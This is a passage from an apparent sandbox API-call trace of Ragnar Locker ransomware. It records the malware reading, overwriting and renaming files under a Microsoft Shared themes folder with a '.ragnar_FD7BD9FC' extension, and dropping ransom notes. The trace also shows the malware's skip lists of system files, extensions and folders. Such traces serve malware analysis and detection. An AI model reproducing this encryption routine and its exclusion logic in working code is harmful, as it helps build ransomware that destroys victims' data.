lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" [0074.277] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.ragnar_FD7BD9FC" [0074.277] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0074.277] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e80af40, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7e80af40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0074.277] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0074.277] lstrcpyW (in: lpString1=0x1eab70, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0074.277] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\RGNR_FD7BD9FC.txt") returned=".txt" [0074.277] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0074.277] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0074.277] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0074.278] lstrcpyW (in: lpString1=0x1eab70, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0074.278] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned=".PNG" [0074.278] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0074.278] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0074.278] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0074.278] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0074.278] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0074.278] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0074.278] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0074.278] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0074.278] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0074.278] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0074.278] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0074.278] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0074.278] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0074.278] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0074.278] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0074.278] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0074.278] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0074.278] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0074.278] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0074.278] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0074.278] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0074.278] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0074.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 0x20 [0074.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0074.279] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=18413) returned 1 [0074.279] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x47e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.279] GetProcessHeap () returned 0x580000 [0074.279] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0074.279] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0074.280] VirtualAlloc (lpAddress=0x0, dwSize=0x47ed, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0074.280] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.280] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0074.280] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x47ed, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x47ed, lpOverlapped=0x0) returned 1 [0074.282] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0074.282] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x47ed, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.282] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x47ed, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x47ed, lpOverlapped=0x0) returned 1 [0074.282] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x47ed, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.282] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0074.282] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x47ed, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.282] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.282] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.282] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.283] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0074.283] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.283] GetProcessHeap () returned 0x580000 [0074.283] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0074.283] CloseHandle (hObject=0x100) returned 1 [0074.283] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" [0074.283] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0074.283] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0074.283] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0074.283] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0074.283] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS", cAlternateFileName="")) returned 1 [0074.283] lstrcmpiW (lpString1="LAYERS", lpString2=".") returned 1 [0074.283] lstrcmpiW (lpString1="LAYERS", lpString2="..") returned 1 [0074.283] lstrcmpiW (lpString1="LAYERS", lpString2="Windows") returned -1 [0074.284] lstrcmpiW (lpString1="LAYERS", lpString2="Windows.old") returned -1 [0074.284] lstrcmpiW (lpString1="LAYERS", lpString2="Tor browser") returned -1 [0074.284] lstrcmpiW (lpString1="LAYERS", lpString2="Internet Explorer") returned 1 [0074.284] lstrcmpiW (lpString1="LAYERS", lpString2="Google") returned 1 [0074.284] lstrcmpiW (lpString1="LAYERS", lpString2="Opera") returned -1 [0074.284] lstrcmpiW (lpString1="LAYERS", lpString2="Opera Software") returned -1 [0074.284] lstrcmpiW (lpString1="LAYERS", lpString2="Mozilla") returned -1 [0074.284] lstrcmpiW (lpString1="LAYERS", lpString2="Mozilla Firefox") returned -1 [0074.284] lstrcmpiW (lpString1="LAYERS", lpString2="$Recycle.Bin") returned 1 [0074.284] lstrcmpiW (lpString1="LAYERS", lpString2="ProgramData") returned -1 [0074.284] lstrcmpiW (lpString1="LAYERS", lpString2="All Users") returned 1 [0074.284] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0074.284] lstrcpyW (in: lpString1=0x1eb638, lpString2="LAYERS" | out: lpString1="LAYERS") returned="LAYERS" [0074.284] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\" [0074.284] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\" [0074.284] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\RGNR_FD7BD9FC.txt" [0074.284] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0074.287] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*.*" [0074.287] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0074.287] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0074.287] lstrcpyW (in: lpString1=0x1ea75a, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0074.287] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e857200, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7e857200, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0074.287] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0074.287] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e857200, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7e857200, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.287] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0074.287] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0074.287] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954c700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x954c700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe743, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.ELM", cAlternateFileName="")) returned 1 [0074.287] lstrcmpiW (lpString1="LAYERS.ELM", lpString2=".") returned 1 [0074.287] lstrcmpiW (lpString1="LAYERS.ELM", lpString2="..") returned 1 [0074.287] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x215, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.INF", cAlternateFileName="")) returned 1 [0074.287] lstrcmpiW (lpString1="LAYERS.INF", lpString2=".") returned 1 [0074.287] lstrcmpiW (lpString1="LAYERS.INF", lpString2="..") returned 1 [0074.287] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0074.287] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0074.287] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0074.287] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e857200, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7e857200, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0074.287] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0074.287] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0074.287] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0074.287] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0074.288] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0074.288] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0074.288] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0074.288] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e857200, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7e857200, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0074.288] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e857200, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7e857200, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.288] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954c700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x954c700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe743, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.ELM", cAlternateFileName="")) returned 1 [0074.288] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0074.288] lstrcpyW (in: lpString1=0x1eab6e, lpString2="LAYERS.ELM" | out: lpString1="LAYERS.ELM") returned="LAYERS.ELM" [0074.288] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM") returned=".ELM" [0074.288] lstrcmpiW (lpString1="LAYERS.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0074.288] lstrcmpiW (lpString1="LAYERS.ELM", lpString2="autorun.inf") returned 1 [0074.288] lstrcmpiW (lpString1="LAYERS.ELM", lpString2="boot.ini") returned 1 [0074.288] lstrcmpiW (lpString1="LAYERS.ELM", lpString2="bootfont.bin") returned 1 [0074.288] lstrcmpiW (lpString1="LAYERS.ELM", lpString2="bootsect.bak") returned 1 [0074.288] lstrcmpiW (lpString1="LAYERS.ELM", lpString2="bootmgr") returned 1 [0074.288] lstrcmpiW (lpString1="LAYERS.ELM", lpString2="bootmgr.efi") returned 1 [0074.288] lstrcmpiW (lpString1="LAYERS.ELM", lpString2="bootmgfw.efi") returned 1 [0074.288] lstrcmpiW (lpString1="LAYERS.ELM", lpString2="desktop.ini") returned 1 [0074.288] lstrcmpiW (lpString1="LAYERS.ELM", lpString2="iconcache.db") returned 1 [0074.288] lstrcmpiW (lpString1="LAYERS.ELM", lpString2="ntldr") returned -1 [0074.288] lstrcmpiW (lpString1="LAYERS.ELM", lpString2="ntuser.dat") returned -1 [0074.288] lstrcmpiW (lpString1="LAYERS.ELM", lpString2="ntuser.dat.log") returned -1 [0074.288] lstrcmpiW (lpString1="LAYERS.ELM", lpString2="ntuser.ini") returned -1 [0074.288] lstrcmpiW (lpString1="LAYERS.ELM", lpString2="thumbs.db") returned -1 [0074.288] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0074.288] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0074.288] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0074.288] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0074.289] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0074.289] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0074.289] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0074.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm")) returned 0x20 [0074.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" 